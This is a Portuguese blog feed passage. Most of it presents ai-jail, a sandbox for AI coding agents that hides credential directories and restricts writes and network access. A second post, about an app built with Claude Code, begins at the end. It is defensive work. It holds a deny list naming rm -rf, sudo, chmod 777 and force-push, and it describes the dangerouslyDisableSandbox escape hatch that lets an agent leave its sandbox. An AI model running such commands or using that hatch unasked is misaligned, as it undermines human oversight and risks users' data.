<p>A parte mais importante é o tratamento do home directory. <code>$HOME</code> é montado como tmpfs vazio. Depois, seletivamente, dotfiles são layered por cima. <code>.gnupg</code>, <code>.aws</code>, <code>.ssh</code>, <code>.mozilla</code>, <code>.sparrow</code> nunca são montados (dados sensíveis). <code>.claude</code>, <code>.crush</code>, <code>.codex</code>, <code>.aider</code>, <code>.config</code>, <code>.cargo</code>, <code>.cache</code>, <code>.docker</code> entram como read-write porque os agentes precisam escrever aqui. Todo o resto entra read-only. Dentro de <code>~/.config</code>, subdiretórios de browser são escondidos atrás de tmpfs: <code>BraveSoftware</code>, <code>Bitwarden</code>. Mesma coisa em <code>~/.cache</code>: <code>BraveSoftware</code>, <code>chromium</code>, <code>spotify</code>, <code>nvidia</code>. O agente não consegue nem ver que esses diretórios existem.</p>
<p>O diretório corrente do projeto é o único lugar com permissão de escrita (além dos dotdirs de ferramentas). O agente modifica o código, mas não toca no resto.</p>
<h2>macOS: sandbox-exec<span class="hx:absolute hx:-mt-20" id="macos-sandbox-exec"></span>
    <a href="#macos-sandbox-exec" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>No macOS, o backend é o <code>sandbox-exec</code> com profiles SBPL (Sandbox Profile Language). É uma API legada da Apple, depreciada oficialmente mas sem substituto público. Funciona hoje, mas a Apple pode remover no futuro.</p>
<p>O ai-jail gera um profile SBPL em runtime que replica a mesma lógica do Linux:</p>
<ul>
<li>Default deny em tudo</li>
<li>Permite operações de processo (exec, fork, signal)</li>
<li>Permite rede (exceto em lockdown)</li>
<li>Permite leitura global, nega paths sensíveis (<code>.gnupg</code>, <code>.aws</code>, <code>.ssh</code>, <code>~/Library/Keychains</code>, <code>~/Library/Mail</code>)</li>
<li>Permite escrita só em diretório do projeto, dotfiles de ferramentas, e <code>/tmp</code></li>
</ul>
<p>As limitações são reais. GPU (Metal) e Display (Cocoa) são system-level no macOS, sandbox-exec não consegue restringir. As flags <code>--no-gpu</code> e <code>--no-display</code> simplesmente não têm efeito no macOS. A paridade entre plataformas é aproximada, não exata.</p>
<p>Mesmo com essas limitações, é melhor do que rodar o agente completamente aberto. O sandbox-exec protege contra acesso a filesystem sensível e, em lockdown, remove permissões de escrita e rede.</p>
<h2>Windows: Não Suportado (E Provavelmente Nunca Será)<span class="hx:absolute hx:-mt-20" id="windows-não-suportado-e-provavelmente-nunca-será"></span>
    <a href="#windows-n%c3%a3o-suportado-e-provavelmente-nunca-ser%c3%a1" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Não é falta de vontade, é falta de primitivas. Windows não tem equivalente userspace a Linux namespaces. Não tem mount API como bubblewrap. AppContainers existem mas usam um modelo de segurança completamente diferente, requerem privilégios de admin, e mapear a funcionalidade do bwrap pra AppContainers seria efetivamente escrever outro projeto do zero.</p>
<p>A solução pra Windows é WSL 2:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># No WSL 2 (kernel Linux real)</span>
</span></span><span class="line"><span class="cl">sudo apt install bubblewrap
</span></span><span class="line"><span class="cl">cargo install ai-jail
</span></span><span class="line"><span class="cl"><span class="c1"># ou: mise use -g ubi:akitaonrails/ai-jail</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">cd</span> /mnt/c/Users/voce/Projects/meu-app
</span></span><span class="line"><span class="cl">ai-jail claude</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>WSL 2 roda um kernel Linux de verdade. Bubblewrap funciona normalmente. Os arquivos do Windows ficam acessíveis em <code>/mnt/c/</code>. Performance de I/O é mais lenta pelo mount de 9p, mas funciona. Pra projetos grandes, clonar dentro de <code>~/Projects/</code> no lado Linux melhora a performance consideravelmente.</p>
<h2>Lockdown Mode<span class="hx:absolute hx:-mt-20" id="lockdown-mode"></span>
    <a href="#lockdown-mode" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Pra workloads que você realmente não confia, existe <code>--lockdown</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">ai-jail --lockdown bash</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Lockdown faz tudo que o modo normal faz, mas vai além. O projeto é montado read-only (não read-write). GPU, Docker, Display e mise são desabilitados. Flags <code>--rw-map</code> e <code>--map</code> são ignoradas. <code>$HOME</code> vira tmpfs puro, sem dotfiles do host. No Linux, a rede é cortada com <code>--unshare-net</code> e o ambiente é limpo com <code>--clearenv</code>. No macOS, as variáveis de ambiente são limpas e as regras de escrita e rede são removidas do SBPL.</p>
<p>É o sandbox mais restritivo que dá pra fazer sem usar uma VM. Útil pra auditar código de terceiros ou rodar agentes em projetos que você não conhece.</p>
<h2>Bootstrap: Configuração Automática de Permissões<span class="hx:absolute hx:-mt-20" id="bootstrap-configuração-automática-de-permissões"></span>
    <a href="#bootstrap-configura%c3%a7%c3%a3o-autom%c3%a1tica-de-permiss%c3%b5es" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><code>ai-jail --bootstrap</code> gera configurações de permissão pras ferramentas que você usa:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">ai-jail --bootstrap</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Pro <strong>Claude Code</strong>, gera <code>~/.claude/settings.json</code> com listas de allow/deny/ask. Permite git status, diff, log, ls, grep, cargo, npm, python, docker compose. Bloqueia rm -rf, sudo, chmod 777, git push &ndash;force. Pergunta antes de git push, rm, docker run.</p>
<p>Pro <strong>Codex</strong>, gera <code>~/.codex/config.toml</code> com <code>approval_policy = &quot;on-request&quot;</code>.</p>
<p>Pro <strong>OpenCode</strong>, gera <code>~/.config/opencode/opencode.json</code> com permissões de bash, edit, write.</p>
<p>Antes de sobrescrever qualquer arquivo, faz backup automático (<code>settings.json.bak</code>). E rejeita operações se o alvo for um symlink, pra evitar path traversal.</p>
<p>É exatamente o conteúdo que eu coloquei manualmente no <a href="/2026/01/10/ai-agents-garantindo-a-protecao-do-seu-sistema/">post anterior</a>, mas automatizado e testado.</p>
<h2>Mas o Claude Code Já Tem Sandbox Próprio<span class="hx:absolute hx:-mt-20" id="mas-o-claude-code-já-tem-sandbox-próprio"></span>
    <a href="#mas-o-claude-code-j%c3%a1-tem-sandbox-pr%c3%b3prio" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Tem. Desde outubro de 2025, o Claude Code oferece um sandbox runtime via o comando <code>/sandbox</code>. E adivinhe o que ele usa por baixo? Bubblewrap no Linux e sandbox-exec no macOS. O mesmo stack.</p>
<p>Mas as diferenças importam.</p>
<p>ai-jail é agnóstico de ferramenta. Funciona com Claude, Codex, OpenCode, Crush, e qualquer comando. O sandbox do Claude só protege o Claude. Se amanhã você trocar de agente, o ai-jail continua funcionando igual.</p>
<p>O ponto que mais me incomoda é o escape hatch. Quando um comando falha por restrição de sandbox, o Claude pode tentar novamente com <code>dangerouslyDisableSandbox</code>, caindo de volta no fluxo normal de permissões. Dá pra desabilitar isso (<code>&quot;allowUnsandboxedCommands&quot;: false</code>), mas é opt-out, não opt-in. No ai-jail, não existe escape hatch. O processo roda dentro do bwrap ou do sandbox-exec, ponto. Não tem como o agente decidir sozinho sair do sandbox.</p>
<p>Outra diferença prática: o <code>.ai-jail</code> vive no diretório do projeto e pode ser commitado no repositório. Qualquer dev que clona o projeto herda a mesma política de sandbox. O sandbox do Claude depende de <code>settings.json</code> global.</p>
<p>Quando roda dentro de Docker, o sandbox do Claude cai pra um modo <code>enableWeakerNestedSandbox</code> que, nas palavras da própria documentação, <em>&ldquo;considerably weakens security&rdquo;</em>. O ai-jail não foi projetado pra rodar dentro de Docker (ele roda diretamente na workstation do dev), então esse problema não existe.</p>
<p>Sobre rede: o sandbox do Claude roteia tráfego por um proxy e permite/bloqueia por domínio. ai-jail no modo normal herda a rede do host; no lockdown, corta a rede inteira com <code>--unshare-net</code>. A abordagem do Claude é mais granular; a do ai-jail é mais simples e mais difícil de contornar.</p>
<p>Os dois não são mutuamente exclusivos. Dá pra rodar o sandbox do Claude dentro do ai-jail. O ai-jail cuida do isolamento de filesystem; o sandbox do Claude adiciona filtragem de rede por domínio. Layers de segurança se somam.</p>
<h2>Por Que Não Usar &ndash;dangerously-skip-permissions Sem Jail<span class="hx:absolute hx:-mt-20" id="por-que-não-usar-dangerously-skip-permissions-sem-jail"></span>
    <a href="#por-que-n%c3%a3o-usar-dangerously-skip-permissions-sem-jail" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Vou ser direto: se você roda Claude Code com <code>--dangerously-skip-permissions</code> sem nenhum sandbox, tá confiando cegamente que a LLM nunca vai executar algo destrutivo. E tá confiando que nenhuma dependência do seu projeto foi comprometida num supply-chain attack.</p>
<p>Toda flag <code>--dangerously</code> tem esse nome por um motivo. O Claude Code é explícito: esse modo existe pra CI/CD e automação em ambientes já isolados (containers, VMs descartáveis). Não pra sua workstation pessoal com <code>~/.aws/credentials</code>, <code>~/.gnupg/</code>, SSH keys, e o banco de senhas do seu browser.</p>
<p>Com ai-jail, o agente tem autonomia total dentro do sandbox. Faz o que quiser no diretório do projeto, usa as ferramentas que precisa, e não consegue acessar nada fora do que foi explicitamente permitido.</p>
<h2>ai-jail + Git: A Rede de Segurança que Você Já Tem<span class="hx:absolute hx:-mt-20" id="ai-jail--git-a-rede-de-segurança-que-você-já-tem"></span>
    <a href="#ai-jail--git-a-rede-de-seguran%c3%a7a-que-voc%c3%aa-j%c3%a1-tem" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Tem uma coisa que eu não mencionei ainda e que muda o cálculo de risco: se o seu projeto tá num repositório Git, com remote no GitHub/GitLab, e o agente não tem permissão de <code>git push</code>, o dano que ele consegue causar é limitado ao diretório local.</p>
<p>Pense assim. O pior cenário dentro do ai-jail é o agente corromper todos os arquivos do projeto. Irritante? Sim. Catastrófico? Não. Você faz <code>git checkout .</code> e volta ao último commit. Se ele corromper o <code>.git</code> de alguma forma (improvável, mas possível), você deleta o diretório e clona de novo. O remote não foi tocado.</p>
<p>Por isso o <code>--bootstrap</code> do ai-jail coloca <code>git push</code> na lista de &ldquo;ask&rdquo; (perguntar antes), não na lista de &ldquo;allow&rdquo;. E <code>git push --force</code> vai direto pra &ldquo;deny&rdquo;. O agente pode commitar à vontade localmente, pode criar branches, pode fazer rebase. Nada disso afeta o remote. Quando chega na hora de push, você revisa o que ele fez e decide se vai pro ar.</p>
<p>Essa combinação, sandbox pra filesystem + Git pro código + push manual, já te dá um nível de segurança muito razoável pro dia a dia. O ai-jail protege seus dados pessoais e o sistema. O Git protege seu código. E a decisão de publicar continua sendo sua.</p>
<p>Se quiser ir além, as próximas duas seções cobrem camadas adicionais.</p>
<h2>ai-jail vs Dev Containers<span class="hx:absolute hx:-mt-20" id="ai-jail-vs-dev-containers"></span>
    <a href="#ai-jail-vs-dev-containers" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Desde que escrevi o ai-jail, a pergunta mais frequente é: <em>&ldquo;por que não usar Dev Containers?&rdquo;</em>. A resposta curta é que um não substitui o outro. Resolvem problemas diferentes.</p>
<p>Dev Containers (a spec do <a href="https://containers.dev"target="_blank" rel="noopener">containers.dev</a>) define um ambiente de desenvolvimento completo num <code>devcontainer.json</code>. Você especifica imagem base, ferramentas, extensões do VS Code, variáveis de ambiente, e o editor monta tudo pra você num container Docker. O Docker também lançou recentemente os Docker Sandboxes, que vão além e rodam cada agente numa microVM com Firecracker, com isolamento de hardware.</p>
<p>ai-jail não faz nada disso. Ele não define ambiente. Não instala ferramentas. Não roda imagem Docker. Ele pega o ambiente que já existe na sua máquina e restringe o que o processo pode acessar.</p>
<p>Na prática, a diferença é:</p>
<table>
  <thead>
      <tr>
          <th></th>
          <th>Dev Container</th>
          <th>ai-jail</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>O que faz</td>
          <td>Define e provisiona um ambiente isolado completo</td>
          <td>Restringe acesso do processo ao filesystem existente</td>
      </tr>
      <tr>
          <td>Setup</td>
          <td><code>devcontainer.json</code> + Docker</td>
          <td><code>.ai-jail</code> TOML + bubblewrap</td>
      </tr>
      <tr>
          <td>Startup</td>
          <td>Segundos (pull de imagem, build de container)</td>
          <td>Milissegundos (fork + exec do bwrap)</td>
      </tr>
      <tr>
          <td>Ferramentas</td>
          <td>As que você coloca na imagem</td>
          <td>As que já estão instaladas na sua máquina</td>
      </tr>
      <tr>
          <td>GPU</td>
          <td>Requer configuração de NVIDIA Container Toolkit</td>
          <td>Auto-detecta <code>/dev/nvidia*</code> e <code>/dev/dri</code></td>
      </tr>
      <tr>
          <td>Daemon</td>
          <td>Requer Docker daemon rodando</td>
          <td>Nada além do bwrap</td>
      </tr>
      <tr>
          <td>Reprodutibilidade</td>
          <td>Alta (imagem fixa)</td>
          <td>Depende do que tá instalado no host</td>
      </tr>
      <tr>
          <td>Isolamento de rede</td>
          <td>Docker Sandboxes: firewall por domínio</td>
          <td>Lockdown: corta tudo com <code>--unshare-net</code></td>
      </tr>
  </tbody>
</table>
<p>Dev Container faz mais sentido quando você precisa que todo o time tenha exatamente o mesmo ambiente, ou quando o projeto tem dependências que ninguém quer instalar no host, ou pra rodar agentes não-interativos em CI/CD. Docker Sandboxes com microVM são o isolamento mais forte que existe fora de uma VM dedicada.</p>
<p>ai-jail faz mais sentido quando você já tem o ambiente configurado e quer startup instantâneo sem Docker daemon. Ou quando usa ferramentas que são chatas de rodar dentro de container (CUDA, Wayland, mise). Ou simplesmente quando quer a mesma proteção pra qualquer agente, não só os que têm integração com devcontainer.</p>
<p>E dá pra combinar. Eu conheço gente que roda ai-jail dentro de um Dev Container pra ter reprodutibilidade de ambiente + restrição de filesystem. Layers de segurança se somam.</p>
<h2>Sistemas Operacionais Imutáveis: A Última Camada<span class="hx:absolute hx:-mt-20" id="sistemas-operacionais-imutáveis-a-última-camada"></span>
    <a href="#sistemas-operacionais-imut%c3%a1veis-a-%c3%baltima-camada" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Se você quer levar a segurança a sério, a terceira camada é o sistema operacional em si.</p>
<p>Sistemas imutáveis como <a href="https://fedoraproject.org/atomic-desktops/silverblue/"target="_blank" rel="noopener">Fedora Silverblue</a>, <a href="https://nixos.org/"target="_blank" rel="noopener">NixOS</a>, e <a href="https://aeondesktop.github.io/"target="_blank" rel="noopener">openSUSE Aeon</a> têm o filesystem raiz read-only. O sistema base não pode ser modificado por nenhum processo, nem com root. Atualizações são atômicas: ou aplicam completamente ou não aplicam. E se algo der errado, você faz rollback pra imagem anterior em um reboot.</p>
<p>Na prática, isso significa que mesmo se um agente de IA escapasse do sandbox (exploiting uma vulnerabilidade no kernel, por exemplo), ele não conseguiria modificar o sistema de forma persistente. No próximo reboot, o sistema volta ao estado declarado. No NixOS, o sistema inteiro é definido por um arquivo de configuração (<code>configuration.nix</code>). No Silverblue, o base é uma imagem OSTree que recebe updates atômicos via <code>rpm-ostree</code>.</p>
<p>Pra desenvolvedores, a pegada é: suas ferramentas de dev rodam em containers (Toolbox/Distrobox no Silverblue, <code>nix-shell</code> no NixOS). O sistema base fica intocado. Apps desktop vêm via Flatpak, que já roda em sandbox. O resultado é que a superfície de ataque do host é mínima.</p>
<p>Fedora Silverblue é provavelmente a entrada mais acessível. Já é Fedora por baixo, com GNOME, funciona com hardware que Fedora suporta, e o Toolbox te dá um Fedora Server containerizado onde você instala o que quiser sem tocar no host. NixOS é mais poderoso (reprodutibilidade total, rollback declarativo), mas a curva de aprendizado é real.</p>
<p>A combinação completa fica assim: o OS imutável cuida do sistema (filesystem read-only, updates atômicos, rollback em um reboot). O ai-jail cuida da sessão (namespace isolado, home efêmero, dados sensíveis invisíveis). E o Git cuida do código (remote intocado enquanto o agente não tiver push).</p>
<p>Nenhuma dessas camadas é perfeita sozinha. Mas o ataque que fura as três ao mesmo tempo — escapar do namespace, persistir num filesystem read-only, e corromper um remote Git — é um cenário que eu ficaria confortável chamando de improvável.</p>
<p>O melhor é que nenhuma exige mudar como você trabalha. O ai-jail é um comando antes do seu agente. Git você já usa. E um OS imutável é uma instalação, não uma mudança de workflow.</p>
<h2>Detalhes Técnicos (Pra Quem Se Importa)<span class="hx:absolute hx:-mt-20" id="detalhes-técnicos-pra-quem-se-importa"></span>
    <a href="#detalhes-t%c3%a9cnicos-pra-quem-se-importa" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Escrito em Rust com 124 testes e 4 dependências: <code>lexopt</code> (parsing de CLI sem clap), <code>serde</code> + <code>toml</code> (config), <code>nix</code> (syscalls Unix). Sem runtime async, sem framework de cores (ANSI direto), binary de ~880KB com LTO e strip.</p>
<p>O signal handling é feito corretamente: SIGINT, SIGTERM, e SIGHUP são forwarded pro processo filho. O handler só chama <code>libc::kill</code>, que é async-signal-safe. O reaping do processo usa <code>waitpid</code> em loop com retry em EINTR.</p>
<p>Arquivos temporários (como o <code>/etc/hosts</code> customizado que o sandbox monta) usam RAII: um <code>SandboxGuard</code> que implementa <code>Drop</code> em Rust. Se o processo pai morrer por qualquer razão, o cleanup acontece.</p>
<p>A compatibilidade de configuração é garantida por política de desenvolvimento: nunca remover campos, nunca renomear, campos novos sempre com <code>#[serde(default)]</code>, campos desconhecidos são silenciosamente ignorados. Testes de regressão pra formatos antigos de <code>.ai-jail</code> garantem que atualizar o binário nunca quebra configs existentes. São 32 testes só de config.</p>
<h2>Roadmap<span class="hx:absolute hx:-mt-20" id="roadmap"></span>
    <a href="#roadmap" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O que falta:</p>
<ul>
<li>Mais backends de ferramentas no bootstrap: Aider, Cursor, Windsurf. Conforme mais agentes padronizarem arquivos de configuração de permissão.</li>
<li>Profile sharing pra monorepos, pra não ter que configurar cada serviço separadamente.</li>
</ul>
<h2>Instalação e Primeiro Uso (Resumo Rápido)<span class="hx:absolute hx:-mt-20" id="instalação-e-primeiro-uso-resumo-rápido"></span>
    <a href="#instala%c3%a7%c3%a3o-e-primeiro-uso-resumo-r%c3%a1pido" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># 1. Instalar</span>
</span></span><span class="line"><span class="cl">brew tap akitaonrails/tap <span class="o">&amp;&amp;</span> brew install ai-jail
</span></span><span class="line"><span class="cl"><span class="c1"># ou: cargo install ai-jail</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 2. No Linux, instalar bubblewrap</span>
</span></span><span class="line"><span class="cl">sudo pacman -S bubblewrap  <span class="c1"># Arch</span>
</span></span><span class="line"><span class="cl"><span class="c1"># sudo apt install bubblewrap  # Debian/Ubuntu</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 3. Entrar no projeto e rodar</span>
</span></span><span class="line"><span class="cl"><span class="nb">cd</span> ~/Projects/meu-app
</span></span><span class="line"><span class="cl">ai-jail claude
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 4. (Opcional) Gerar configs de permissão</span>
</span></span><span class="line"><span class="cl">ai-jail --bootstrap
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 5. (Opcional) Ver o que o sandbox faz</span>
</span></span><span class="line"><span class="cl">ai-jail --dry-run --verbose claude</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>O <code>.ai-jail</code> criado pode ser commitado no seu repo. A partir daí, qualquer dev que clonar o projeto roda <code>ai-jail claude</code> e tem o mesmo sandbox.</p>
<h2>Conclusão<span class="hx:absolute hx:-mt-20" id="conclusão"></span>
    <a href="#conclus%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O shell script de janeiro resolveu o problema. O ai-jail resolve o problema direito. Config por projeto, suporte a macOS, lockdown mode, bootstrap de permissões, dry-run pra auditar, e um binário de 880KB que instala em 10 segundos.</p>
<p>Se você usa agentes de IA pra programar, rode eles num sandbox. A boa vontade da LLM não é garantia de nada, e supply-chain attacks não escolhem vítima. Isolamento de processo é a barreira que funciona.</p>
<p>O projeto é GPL-3.0 e tá no GitHub: <a href="https://github.com/akitaonrails/ai-jail"target="_blank" rel="noopener">github.com/akitaonrails/ai-jail</a></p>
<p>Issues e PRs são bem-vindos.</p>
]]></content:encoded><category>ai-jail</category><category>agentes-de-codigo</category><category>seguranca</category><category>rust</category></item><item><title>Vibe Code: Fiz um clone do Mega em Rails em 1 dia pro meu Home Server</title><link>https://akitaonrails.github.io/2026/02/21/vibe-code-fiz-um-clone-do-mega-em-rails-em-1-dia-pro-meu-home-server/</link><guid isPermaLink="true">https://akitaonrails.github.io/2026/02/21/vibe-code-fiz-um-clone-do-mega-em-rails-em-1-dia-pro-meu-home-server/</guid><pubDate>Sat, 21 Feb 2026 18:48:25 +0000</pubDate><description>&lt;p&gt;Faz tempo que eu queria ter um serviço de file sharing privado no meu home server. Sabe quando precisa mandar um arquivo grande pra alguém? &amp;ldquo;Ah, usa o Google Drive&amp;rdquo;. Não. &amp;ldquo;WeTransfer?&amp;rdquo; Também não. Eu quero controle total. Quero saber onde meus arquivos estão, por quanto tempo existem, quem baixou, e não quero depender de serviço de terceiro pra algo tão simples.&lt;/p&gt;
&lt;p&gt;Então fiz o que qualquer programador faria: sentei, escrevi um documento de especificação, e com ajuda do Claude Code (Claude Opus 4.6), construí o &lt;a href="https://github.com/akitaonrails/FrankMega"target="_blank" rel="noopener"&gt;&lt;strong&gt;FrankMega&lt;/strong&gt;&lt;/a&gt;, um clone simplificado do Mega, self-hosted, em Rails 8, em um único dia de trabalho. 21 commits, 3 horas de desenvolvimento ativo, 210 testes, zero dependência externa além do SQLite.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Faz tempo que eu queria ter um serviço de file sharing privado no meu home server. Sabe quando precisa mandar um arquivo grande pra alguém? &ldquo;Ah, usa o Google Drive&rdquo;. Não. &ldquo;WeTransfer?&rdquo; Também não. Eu quero controle total. Quero saber onde meus arquivos estão, por quanto tempo existem, quem baixou, e não quero depender de serviço de terceiro pra algo tão simples.</p>
<p>Então fiz o que qualquer programador faria: sentei, escrevi um documento de especificação, e com ajuda do Claude Code (Claude Opus 4.6), construí o <a href="https://github.com/akitaonrails/FrankMega"target="_blank" rel="noopener"><strong>FrankMega</strong></a>, um clone simplificado do Mega, self-hosted, em Rails 8, em um único dia de trabalho. 21 commits, 3 horas de desenvolvimento ativo, 210 testes, zero dependência externa além do SQLite.</p>
<p><img src="https://github.com/akitaonrails/FrankMega/raw/master/docs/upload_screen.png" alt="frankmega"  loading="lazy" /></p>
<p>E antes que apareça o esperto nos comentários: &ldquo;ah, mas Vibe Coding é só prompt engineering, qualquer um faz&rdquo; &ndash; calma. Esse post é justamente pra mostrar que <strong>não é</strong>.</p>
<h2>Da Ideia ao Código: o IDEA.md<span class="hx:absolute hx:-mt-20" id="da-ideia-ao-código-o-ideamd"></span>
    <a href="#da-ideia-ao-c%c3%b3digo-o-ideamd" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Todo projeto começa com um documento. O meu foi o <a href="https://github.com/akitaonrails/FrankMega/blob/master/docs/IDEA.md"target="_blank" rel="noopener"><code>docs/IDEA.md</code></a> &ndash; 56 linhas descrevendo o que eu queria:</p>
<ul>
<li>Upload de arquivo único, com link compartilhável</li>
<li>Contador de downloads (padrão 5, configurável)</li>
<li>Expiração automática em até 24 horas</li>
<li>Autenticação completa: senha + 2FA + passkeys</li>
<li>Sem página de registro público &ndash; convites only</li>
<li>Admin cria convites, gerencia usuários, bane abusadores</li>
<li>Rate limiting agressivo, IP banning automático</li>
<li>Deploy via Docker + Cloudflare Tunnel no meu home server</li>
<li>Stack: Rails 8, SQLite, Tailwind CSS, Hotwire/Stimulus</li>
</ul>
<p>Eu deliberadamente incluí no final: <em>&ldquo;Sugira features importantes que possam ser relevantes pra um serviço assim.&rdquo;</em> Porque eu sei que um documento de spec nunca cobre tudo. E é aí que começa a parte interessante.</p>
<h2>O Big Bang: Commit #1<span class="hx:absolute hx:-mt-20" id="o-big-bang-commit-1"></span>
    <a href="#o-big-bang-commit-1" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O primeiro commit (<code>e277226</code>) às 12:17 entregou <strong>207 arquivos, 6.901 linhas de código</strong>. Num único commit. Sim, eu sei que é controverso, mas quando se está construindo do zero com AI, o primeiro commit é necessariamente grande.</p>
<p>O que veio nesse commit inicial:</p>
<ul>
<li>Autenticação completa com <code>has_secure_password</code> (bcrypt), TOTP via <code>rotp</code>, passkeys via <code>webauthn</code></li>
<li>Sistema de convites com códigos únicos e expiração</li>
<li>Admin panel completo (Users, Invitations, Files, MIME Types)</li>
<li>Upload com Active Storage + drag-and-drop via Stimulus</li>
<li>Links de download com hashes de 24 bytes (<code>SecureRandom.urlsafe_base64(24)</code>)</li>
<li>Rate limiting via Rack::Attack em todos os endpoints públicos</li>
<li>IP banning automático com modelo <code>Ban</code> e job assíncrono</li>
<li>Tema dark/light com Tailwind CSS inspirado no Mega.nz</li>
<li>73 testes (Minitest + FactoryBot)</li>
<li>Docker configuration com Puma + Thruster</li>
<li>Solid Queue/Cache/Cable &ndash; zero Redis</li>
</ul>
<p>Entenderam? <strong>Tudo isso no commit #1</strong>. O IDEA.md virou código funcional numa tacada. Mas o ponto é esse: <strong>o primeiro commit não era production-ready</strong>. Nem de longe.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/frankmd/2026/02/screenshot-2026-02-21_15-32-29.png" alt="tema light"  loading="lazy" /></p>
<h2>A Realidade: 20 Commits de Iteração<span class="hx:absolute hx:-mt-20" id="a-realidade-20-commits-de-iteração"></span>
    <a href="#a-realidade-20-commits-de-itera%c3%a7%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Depois do Big Bang vieram 20 commits ao longo de 3 horas. E é aqui que mora a verdade sobre desenvolvimento de software que nenhum tutorial de &ldquo;Vibe Coding&rdquo; vai te contar.</p>
